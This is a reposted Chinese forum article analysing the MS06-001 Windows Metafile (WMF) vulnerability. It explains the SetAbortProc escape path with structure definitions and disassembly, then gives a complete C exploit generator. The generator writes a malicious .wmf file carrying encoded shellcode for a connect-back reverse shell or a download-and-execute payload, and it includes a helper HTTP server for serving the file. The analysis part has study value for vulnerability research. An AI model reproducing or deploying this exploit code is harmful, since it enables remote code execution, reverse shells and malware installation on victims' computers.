[转载]MS06-001漏洞分析
信息来源:Whitecell技术论坛([url]www.whitecell.com[/url])文章作者:SoBeIT
WindowsMetaFile文件格式用于储存图片,与位图文件最大的不同在于它的设备无关性,无论向什么设备输出,它总能保持里面图片的原始尺寸和象素。它们主要用于Windows 3.x,保存到现在主要是为了兼容性。它的内部文件结构是由一个文件头WMFHEAD结构和若干个WMFRECORD结构组成。它们的结构定义如下:
typedef struct _WindowsMetaHeader
{
WORD FileType; /* Type of metafile (0=memory, 1=disk) */
WORD HeaderSize; /* Size of header in WORDS (always 9) */
WORD Version; /* Version of Microsoft Windows used */
DWORD FileSize; /* Total size of the metafile in WORDs */
WORD NumOfObjects; /* Number of objects in the file */
DWORD MaxRecordSize; /* The size of largest record in WORDs */
WORD NumOfParams; /* Not Used (always 0) */
} WMFHEAD;
typedef struct _StandardMetaRecord
{
DWORD Size; /* Total size of the record in WORDs */
WORD Function; /* Function number (defined in WINDOWS.H) */
WORD Parameters[]; /* Parameter values passed to function */
} WMFRECORD;
第一个WMFRECORD结构记录的是一般信息,如。在构造metafile时,用于构造该图象的所有GDI函数和它们的参数按调用顺序存储进每个WMFRECORD结构里,
发生漏洞时函数顺序如下:
..GDI32!PlayMetaFile
....GDI32!CommonEnumMetaFile
......GDI32!PlayMetaFileRecord
........GDI32!Escape
..........GDI32!SetAbortProc
漏洞发生于当打开一个wmf文件时,系统会调用PlayMetaFile来显示该图形文件,这个显示过程是通过执行wmf文件中所有的record中的GDI函数来完成的。在PlayMetaFile中会调用PlayMetaFileRecord函数。该函数通过执行wmf文件中某个record中的GDI函数来执行该record动作。在PlayMetaFileRecord函数中执行什么函数是通过WMFRECORD结构中的Function成员来决定,内部实现是通过Funciton的低8位作为索引来索引一张函数表里的分派函数,当为0x0626时,就会执行Escape函数:
.text:77F5BB23 push [ebp+uFlags] ; case 0x26
.text:77F5BB26 push ebx
.text:77F5BB27 call sub_77F5D2C0
.text:77F5BB2C cmp eax, edi
.text:77F5BB2E mov [ebp+var_4], eax
.text:77F5BB31 jnz loc_77F5C6F3
.text:77F5BB37 mov ax, [ebx+6]
.text:77F5BB3B cmp ax, 0Fh
.text:77F5BB3F jz loc_77F5C30C ; default
.text:77F5BB45 lea ecx, [ebx+0Ah]
.text:77F5BB48 push edi ; LPVOID
.text:77F5BB49 push ecx ; LPCSTR
.text:77F5BB4A movzx ecx, word ptr [ebx+8]
.text:77F5BB4E movzx eax, ax
.text:77F5BB51 push ecx ; int
.text:77F5BB52 push eax ; int
.text:77F5BB53 push [ebp+uFlags] ; HDC
.text:77F5BB56 call Escape
Escape的函数索引在wingdi.h里定义:
#define META_ESCAPE 0x0626
ESCAPE函数声明如下:
int Escape(
HDC hdc, // handle to device context
int nEscape, // escape function
int cbInput, // number of bytes in input structure
LPCSTR lpvInData, // pointer to input structure
LPVOID lpvOutData // pointer to output structure
);
当这样构造WMFRECORD结构时:
10 00 00 00 26 06 09 00 16 00 90 90 90 90 90 90 90 90 90 90 ...
反汇编Escape相关函数代码:
.text:77F5802B dec esi
.text:77F5802C jz loc_77F580EE
.text:77F58032 dec esi
.text:77F58033 jz loc_77F580E1
.text:77F58039 dec esi
.text:77F5803A jz short loc_77F5807A
.text:77F5803C sub esi, 6
.text:77F5803F jz short loc_77F5806A
.text:77F5806A push [ebp+arg_10] ; ABORTPROC
.text:77F5806D push [ebp+NumberOfBytesWritten] ; HDC
.text:77F58070 call SetAbortProc
由上面代码可以看到nEscape为9时,Escape函数将会调用SetAbortProc。cbInput为16,lpvInData开始于WMFRECORD结构+0x0a,也就是那一片0x90的开始处。
/* GDI Escapes */
#define SETABORTPROC 9
SetAbortProc函数定义为:
int SetAbortProc(
HDC hdc, // handle of device context
ABORTPROC lpAbortProc // address of abort function
);
lpAbortProc为前面调用Escape的参数lpvInData。在SetAbortProc里,会设置设备环境结构里
一个函数指针为lpAbortProc:
.text:77F69946 mov [esi+14h], edi //edi = lpAbortProc
返回到前面的CommonEnumMetaFile函数时,首先会接着调用GetEvent函数,这个函数的结果是能否跳转到shellcode的关键:
.text:77F5CB50 push esi
.text:77F5CB51 push [ebp+var_48]
.text:77F5CB0F call sub_77F5C874 //GDI32!GetEvent
.text:77F5CB14 mov esi, eax
.text:77F5CB16 cmp esi, ebx
若能成功跳转到shellcode里执行,则GetEvent的返回结果将是shellcode的地址,否则正常情况下将是0。回忆起WMF文件的特性,执行Escape的参数都存储在WMFRECORD结构里,若shellcode长度等于Escape参数cbInput时,GetEvent将返回0,这也是正常情况。当shellcode长度大于cbInput时,就会返回shellcode地址,后续就会调用这个地址。这个特性实在是十分奇怪。接下来检查设备环境结构里的函数指针是否为空,不为空就直接调用,这样流程就跳转到了我们的shellcode里:
.text:77F5CB34 mov eax, [eax+14h]
.text:77F5CB37 cmp eax, ebx
.text:77F5CB39 jz short loc_77F5CB43
.text:77F5CB3B push ebx
.text:77F5CB3C push edi
.text:77F5CB3D call eax //lpAbortProc, address of shellcode
在shellcode里最后执行ExitThread退出当前线程既可恢复正常执行流程。
exploit
[code]
#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32")
typedef struct _WindowsMetaHeader {
USHORT FileType; /* Type of metafile (0=memory, 1=disk) */
USHORT HeaderSize; /* Size of header in WORDS (always 9) */
USHORT Version; /* Version of Microsoft Windows used */
ULONG FileSize; /* Total size of the metafile in WORDs */
USHORT NumOfObjects; /* Number of objects in the file */
ULONG MaxRecordSize; /* The size of largest record in WORDs */
USHORT NumOfParams; /* Not Used (always 0) */
} WMFHEAD, *PWMFHEAD;
typedef struct _StandardMetaRecord {
ULONG Size; /* Total size of the record in WORDs */
USHORT Function; /* Function number (defined in WINDOWS.H) */
USHORT Parameters[]; /* Parameter values passed to function */
} WMFRECORD, *PWMFRECORD;
typedef struct _ParamStruct {
ULONG len;
char *buf;
int sockfd;
} PARAM, *PPARAM;
unsigned char functions1[64][64] =
{
//kernel32.dll
{"LoadLibraryA"},
{"CreateProcessA"},
{"WaitForSingleObject"},
{"ExitThread"},
//ws2_32.dll
{"WSAStartup"},
{"WSASocketA"},
{"connect"},
{""},
};
unsigned char functions2[64][64] =
{
//kernel32.dll
{"LoadLibraryA"},
{"GetSystemDirectoryA"},
{"WinExec"},
{"ExitThread"},
//urlmon.dll
{"URLDownloadToFileA"},
{""},
};
unsigned char wmf_header[] =
"\x01\x00\x09\x00\x00\x03\x52\x1f\x00\x00\x02\x00\x3d\x00\x00\x00"
"\x00\x00";
/*
unsigned char wmf_records[] =
"\x08\x00\x00\x00\xfa\x02\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00"
"\x04\x00\x00\x00\x2d\x01\x00\x00\x07\x00\x00\x00\xfc\x02\x00\x00"
"\xff\x00\xff\x00\x00\x00\x04\x00\x00\x00\x2d\x01\x01\x00\x07\x00"
"\x00\x00\x1b\x04\x46\x00\x96\x00\x00\x00\x00\x00\x0f\x00\x00\x00"
"\x21\x05\x11\x00\x43\x72\x65\x61\x74\x65\x64\x20\x42\x79\x20\x53"
"\x6f\x42\x65\x49\x74\x00\x0a\x00\x0a\x00";
*/
unsigned char wmf_recordexp[] =
"\x10\x00\x00\x00\x26\x06\x09\x00\x10\x00";
unsigned char decoder[] =
"\x90\xeb\x14\x5f\x81\x37\x01\x07\x83\x19\x81\x3f\xcc\x90\x90\xcc"
"\x74\x0a\x83\xc7\x04\xeb\xed\xe8\xe7\xff\xff\xff";
unsigned char shellcode1[] =
"\xcc\x4f\x33\xc0\x66\x81\x3f\x90\xcc\x75\xf6\x40\x40\x66\x81\x3c"
"\x07\xcc\x90\x75\xec\x83\xc7\x04\x64\xa1\x30\x00\x00\x00\x8b\x40"
"\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x04\x59\xe8\xa7\x00"
"\x00\x00\xe2\xf9\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\xff"
"\x16\x8b\xe8\x6a\x03\x59\xe8\x8e\x00\x00\x00\xe2\xf9\x81\xec\x90"
"\x01\x00\x00\x54\x68\x01\x01\x00\x00\xff\x56\x10\x50\x50\x50\x50"
"\x40\x50\x40\x50\xff\x56\x14\x8b\xd8\xff\x76\x1c\x66\x8b\x56\x20"
"\x86\xd6\xc1\xca\x10\x66\xba\x02\x00\x52\x8b\xd4\x6a\x10\x52\x53"
"\xff\x56\x18\x85\xc0\x75\x4b\x68\x63\x6d\x64\x00\x8d\x14\x24\x83"
"\xec\x54\x8b\xfc\x6a\x15\x59\x57\xab\xe2\xfd\x5f\xc6\x47\x10\x44"
"\xfe\x47\x3c\xfe\x47\x3d\x89\x5f\x48\x89\x5f\x4c\x89\x5f\x50\x8d"
"\x47\x10\x57\x50\x51\x51\x51\x6a\x01\x51\x51\x52\x51\xff\x56\x04"
"\x8b\xcc\x68\xff\x00\x00\x00\xff\x31\xff\x56\x08\x33\xc0\x50\xff"
"\x56\x0c\x81\xc4\xf8\x01\x00\x00\xc3\x51\x56\x8b\x75\x3c\x8b\x74"
"\x2e\x78\x03\xf5\x56\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03"
"\xc5\x33\xdb\x0f\xbe\x10\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40"
"\xeb\xf1\x3b\x1f\x75\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b"
"\x8b\x5e\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\x90\x90"
"\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";
unsigned char shellcode2[] =
"\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";
unsigned char wmf_eof[] =
"\x03\x00\x00\x00\x00\x00";
VOID ErrorQuit(char *msg)
{
printf("%s\n", msg);
ExitProcess(0);
}
ULONG ComputeHash(char *ch)
{
ULONG ret = 0;
while(*ch)
{
ret = ((ret << 25) | (ret >> 7)) + *ch++;
}
return ret;
}
VOID Encode(PULONG pShellcode)
{
int len, j = 0;
ULONG i;
for(len = 0; ; len++)
{
i = pShellcode[len];
pShellcode[len] ^= 0x19830701;
if(i == 0xcc9090cc)
break;
}
}
ULONG WINAPI ServerThread(PVOID Param)
{
int len, i;
PPARAM pParam;
char *buf, *ptr;
char header[] = "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n"
"Content-Length: %d\r\nConnection: close\r\n\r\n\r\n";
buf = malloc(4096);
pParam = (PPARAM)Param;
if(recv(pParam->sockfd, buf, 4096, 0) < 0)
ErrorQuit("recv failed.\n");
printf("Request received.\n");
if(strncmp(buf, "GET ", 4) != 0)
{
printf("Not a GET request.\n");
return 0;
}
len = strlen(header) + pParam->len;
sprintf(buf, header, len);
memcpy(buf + strlen(header), pParam->buf, pParam->len);
ptr = buf;
do
{
i = send(pParam->sockfd, ptr, 4096, 0);
len -= i;
ptr += i;
}
while(len > 0);
return 1;
}
int main(int argc, char *argv[])
{
FILE *fp;
char *wmf_buf, *ptr;
int size = 0, i, j, type;
UINT lsockfd, csockfd;
PULONG pShellcode;
WSADATA wsad;
struct sockaddr_in sa, rsa;
HANDLE hThread;
ULONG buf[64];
PPARAM pParam;
if(argc < 2)
{
printf("ConnectBack Usage: %s 1 HTTPIP HTTPPORT LOCALIP LOCALPORT\n", argv[0]);
printf("Download&Execute Usage: %s 2 HTTPIP HTTPPORT URL\n", argv[0]);
ExitProcess(0);
}
type = atoi(argv[1]);
if((type == 1) && (argc != 6))
ErrorQuit("ConnectBack Usage: ms06-001 1 HTTPIP HTTPPORT LOCALIP LOCALPORT\n");
else if((type == 2) && (argc != 5))
ErrorQuit("Download&Execute Usage: ms06-001 2 HTTPIP HTTPPOR URL\n");
if((wmf_buf = malloc(4096)) == NULL)
ErrorQuit("malloc failed.\n");
ptr = wmf_buf;
pParam = malloc(sizeof(PARAM));
if((type == 2) && (strlen(argv[5]) > 64))
ErrorQuit("URL is too long.\n");
memcpy(ptr, wmf_header, sizeof(wmf_header) - 1);
size += sizeof(wmf_header) - 1;
ptr += sizeof(wmf_header) - 1;
/* memcpy(ptr, wmf_records, sizeof(wmf_records) - 1);
size += sizeof(wmf_records) - 1;
ptr += sizeof(wmf_records) - 1;
*/
memcpy(ptr, wmf_recordexp, sizeof(wmf_recordexp) - 1);
size += sizeof(wmf_recordexp) - 1;
ptr += sizeof(wmf_recordexp) - 1;
memcpy(ptr, decoder, sizeof(decoder) - 1);
size += sizeof(decoder) - 1;
ptr += sizeof(decoder) - 1;
switch(type)
{
case 1:
pShellcode = (PULONG)shellcode1;
for(i = 0; pShellcode[i++] != 0x90cccc90; )
;
for(j = 0; functions1[j][0] != '\x0'; j++)
buf[j] = ComputeHash(functions1[j]);
buf[j++] = inet_addr(argv[4]);
buf[j++] = atoi(argv[5]);
memcpy((char *)(pShellcode + i), (char *)buf, j * 4);
Encode((PULONG)shellcode1);
memcpy(ptr, shellcode1, sizeof(shellcode1) - 1);
size += sizeof(shellcode1) - 1;
ptr += sizeof(shellcode1) - 1;
break;
case 2:
pShellcode = (PULONG)shellcode2;
for(i = 0; pShellcode[i++] != 0x90cccc90; )
;
for(j = 0; functions2[j][0] != '\x0'; j++)
buf[j] = ComputeHash(functions2[j]);
strcpy((char *)(buf + j), argv[4]);
memcpy((char *)(pShellcode + i), (char *)buf, j * 4);
Encode((PULONG)shellcode2);
memcpy(ptr, shellcode2, sizeof(shellcode2) - 1);
size += sizeof(shellcode2) - 1;
ptr += sizeof(shellcode2) - 1;
break;
default:
ErrorQuit("Supported Shellcode Type: 1. ConnectBack 2. Download&Execute.\n");
}
memcpy(ptr, wmf_eof, sizeof(wmf_eof) - 1);
size += sizeof(wmf_eof) - 1;
*(PULONG)(wmf_buf + 0x6) = (ULONG)size / 2;
if((fp = fopen("ms06-001.wmf", "wb")) == NULL)
ErrorQuit("Create metafile failed.\n");
fwrite(wmf_buf, 1, size, fp);
printf("Metafile created.\n");
fclose(fp);
}[/code]
页:
[1]
